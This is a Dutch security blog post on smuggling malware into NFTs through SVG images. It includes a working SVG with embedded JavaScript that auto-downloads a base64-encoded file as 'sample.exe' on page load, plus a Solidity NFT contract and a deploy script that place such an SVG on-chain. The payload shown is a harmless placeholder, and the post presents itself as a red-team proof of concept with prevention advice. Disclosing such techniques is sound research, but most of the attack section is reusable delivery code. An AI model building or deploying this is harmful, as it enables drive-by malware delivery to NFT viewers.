Hiding Malware in SVG's: A new Threat to NFTs (DUTCH)

October 8, 2024

Malware verstoppen in SVG's: Een Nieuwe Bedreiging voor NFT's

Bij Non-Fungible Tokens (NFT's) zoals digitale kunst, collectibles en andere digitale assets zien we niet alleen innovatieve toepassingen, maar ook opkomende dreigingen. Een van de meest zorgwekkende ontwikkelingen is het smokkelen van malware in SVG-bestanden (Scalable Vector Graphics), wat malafide actoren in staat stelt om schadelijke code onopgemerkt te verbergen binnen ogenschijnlijk onschuldige afbeeldingen.

Wat is Malware-Smuggling in SVG's?

SVG-smuggling is een red-teaming techniek waarbij kwaadaardige code (malware) in de code wordt gestopt en in bestandstypen die normaal gesproken als veilig worden beschouwd. SVG's zijn bijzonder aantrekkelijk voor cybercriminelen omdat ze zowel beeld- als code-elementen kunnen bevatten. Door bijvoorbeeld JavaScript te embedden, kunnen aanvallers schadelijke scripts verbergen die worden geactiveerd wanneer de SVG wordt geopend of weergegeven in een webbrowser. Hieronder een voorbeeld van een geïnfecteerde SVG:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" width="500" height="500">
    <text x="10" ="50" font-family="Arial" font-size="20" fill="black">Open this image in a new tab</text>
    <script type="application/ecmascript"><![CDATA[
        document.addEventListener("DOMContentLoaded", function() {
            function base64ToArrayBuffer(base64) {
                var binary_string= window.atob(base64);
                var len= binary_string.length;
                var bytes= new Uint8Array(len);
                for (var i= 0; i < len; i++) { bytes[i]= binary_string.charCodeAt(i); }
                return bytes.buffer;
            }
            var file= 'U2FtcGxlIGZpbGUgYnkgaWFu'; // Dit is de payload base64 encoded
            var data= base64ToArrayBuffer(file);
            var blob= new Blob([data], {type: 'octet/stream'});
            var a= document.createElementNS('http://www.w3.org/1999/xhtml', 'a');
            document.documentElement.appendChild(a);
            a.setAttribute('style', 'display: none');
            var url= window.URL.createObjectURL(blob);
            a.href= url;
            a.download= 'sample.exe'; // Dit is de bestandsnaam die het script gaat downloaden
            a.click();
            window.URL.revokeObjectURL(url);
        });
    ]]></script>
</svg>

SVG-Smuggler: Wij hebben dit Python-script gemaakt wat een bestand encodeert naar een Base64-string en embedt het in een SVG-bestand. Wanneer de SVG wordt geopend in een webbrowser, activeert het script automatisch het downloaden van het originele bestand.

Waarom NFT's een Ideale manier zijn voor het verspreiden van Malware

NFT's, die vaak op blockchain-platforms zoals Ethereum worden gehost, bieden een uniek voordeel voor cybercriminelen:

  1. Onuitwisbaarheid: Zodra een NFT is geüpload naar de blockchain, kan deze niet meer worden verwijderd. Dit betekent dat de ingebedde malware permanent beschikbaar blijft, zelfs als de oorspronkelijke maker de NFT probeert te verwijderen.

  2. Anonimiteit: Blockchain-transacties zijn pseudoniem, waardoor het moeilijk is om de identiteit van de aanvaller te traceren.

  3. Verspreiding: NFT's worden vaak gedeeld en verhandeld op verschillende marktplaatsen, wat de verspreiding van de geïnfecteerde SVG vergroot.

Hoe werkt het deployen van een NFT met een SVG-Malware payload?

Na het maken van een SVG file met een payload, kan deze file worden geüpload naar een NFT-marktplaats. Wanneer een gebruiker de NFT opent, wordt de ingebedde malware automatisch gedownload en kan deze worden uitgevoerd. Het Solidity smart contract voor het deployen van de NFT is hieronder te vinden.

pragma solidity ^0.8.26;

import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Base64} from "@openzeppelin/contracts/utils/Base64.sol";

contract PoCSVG is ERC721 {

    struct Poc {
        string name;
        string description;
    }

    uint256 private s_tokenCounter;
    string private s_pocSvgImageUri;


    mapping(uint256 => Poc) public s_tokenIdToPoc;

    constructor(string memory pocSvgImageUri) ERC721("PoCSVG", "SVG") {
        s_tokenCounter = 0;
        s_pocSvgImageUri = pocSvgImageUri;
    }

    function mint() public {
        _safeMint(msg.sender, s_tokenCounter);
        s_tokenCounter++;
    }


    function _baseURI() internal pure override returns (string memory) {
        return "data:application/json;base64,";
    }

    function tokenURI(uint256 tokenID) public view override returns (string memory) {
        string memory imageURI = s_pocSvgImageUri;

        return string(
            abi.encodePacked(
                _baseURI(),
                Base64.encode(
                    bytes(
                        abi.encodePacked(
                            '{"name":"',
                            name(),
                            '", "description":"NFT with a PoC SVG that downloads files when clicked", ',
                            '"image":"',
                            imageURI,
                            '"}'
                        )
                    )
                )
            )
        );
    }
}

Dit script zorgt ervoor dat de SVG file wordt geüpload naar de blockchain. Het script hieronder zorgt hoe de NFT collectie wordt aangemaakt. en de SVG wordt ingebracht:

pragma solidity ^0.8.26;

import {Script} from "forge-std/Script.sol";
import {PoCSVG} from "src/PocSvg.sol";
import "forge-std/console2.sol";
import {Base64} from "@openzeppelin/contracts/utils/Base64.sol";

contract DeployPocSVG is Script {
    function run() external returns (PoCSVG) {
        string memory PoC = vm.readFile("./img/poc.svg");

        vm.startBroadcast();
        PoCSVG pocSvg = new PoCSVG(svgToImageURI(PoC));
        pocSvg.mint();
        vm.stopBroadcast();
        return pocSvg;
    }

    function svgToImageURI(string memory _svg) public pure returns (string memory) {
        string memory baseURL = "data:image/svg+xml;base64,";
        string memory svgBase64Encoded = Base64.encode(bytes(string(abi.encodePacked(_svg))));
        return string(abi.encodePacked(baseURL, svgBase64Encoded));
    }
}

Link naar de volledige repository: Malicious-NFT

Een LIVE proof of concept

Voor deze proof of concept hebben wij een live Proof of Concept gemaakt op de OpenSea. Zodra een gebruiker de NFT opent, wordt de ingebedde (fake)malware automatisch gedownload en kan deze mogelijk worden uitgevoerd.

Gevolgen voor de Blockchain- en Community

De integratie van malware in NFT's kan verstrekkende gevolgen hebben:

  • Beveiligingsrisico's: Gebruikers kunnen ongewild malware downloaden en dmv social engineering acties uitvoeren, wat kan leiden tot datadiefstal, comprimitatie van iemands wallet, systeeminfiltratie en andere schadelijke activiteiten.

  • Verlies van Vertrouwen: Toenemende beveiligingsincidenten kunnen het vertrouwen in NFT-platforms ondermijnen, wat de markt als geheel kan schaden.

  • Regelgevende Uitdagingen: Het onvermogen om kwaadaardige content effectief te reguleren op blockchain-platforms kan leiden tot strengere regelgeving en beperkingen.

Preventie en Aanbevelingen

Om deze dreiging tegen te gaan, moeten gebruikers waakzaam zijn:

  • Educatie: Gebruikers moeten zich bewust zijn van de risico's van het downloaden en openen van onbekende NFT's en moeten voorzichtig zijn met interacties die automatische downloads initiëren. Denk aan NFT's die een bepaalde text bevatten dat interactie uitnodigt.

  • Beveiligingsmaatregelen op Platformniveau: NFT-marktplaatsen moeten geavanceerde beveiligingsprotocollen implementeren om kwaadaardige content te detecteren en te sanitizen nadat deze is geüpload.

Conclusie

Het smokkelen van malware in SVG's is een nieuwe en groeiende bedreiging binnen de NFT-wereld. Terwijl de populariteit van NFT's blijft stijgen, moeten zowel ontwikkelaars als gebruikers proactieve stappen ondernemen om de veiligheid te waarborgen en de integriteit van blockchain-platforms te beschermen. Door middel van educatie, geavanceerde beveiligingstools en voortdurende waakzaamheid kunnen we deze dreiging het hoofd bieden en een veiliger digitale toekomst bevorderen.

Voor meer volledige documentatie en informatie:

Proof of Concept Repositories:

Om deze dreiging te demonstreren, hebben wij twee GitHub-repositories uitgebracht als proof of concept:

  1. SVG-Smuggler: Dit Python-script encodeert een bestand naar een Base64-string en embedt het in een SVG-bestand. Wanneer de SVG wordt geopend in een webbrowser, activeert het script automatisch het downloaden van het originele bestand.

  2. Malicious-NFT: Deze repository toont hoe een malafide SVG als NFT kan worden geüpload naar de blockchain. Wanneer een gebruiker de NFT opent, wordt de ingebedde malware automatisch gedownload en kan deze potentieel worden uitgevoerd.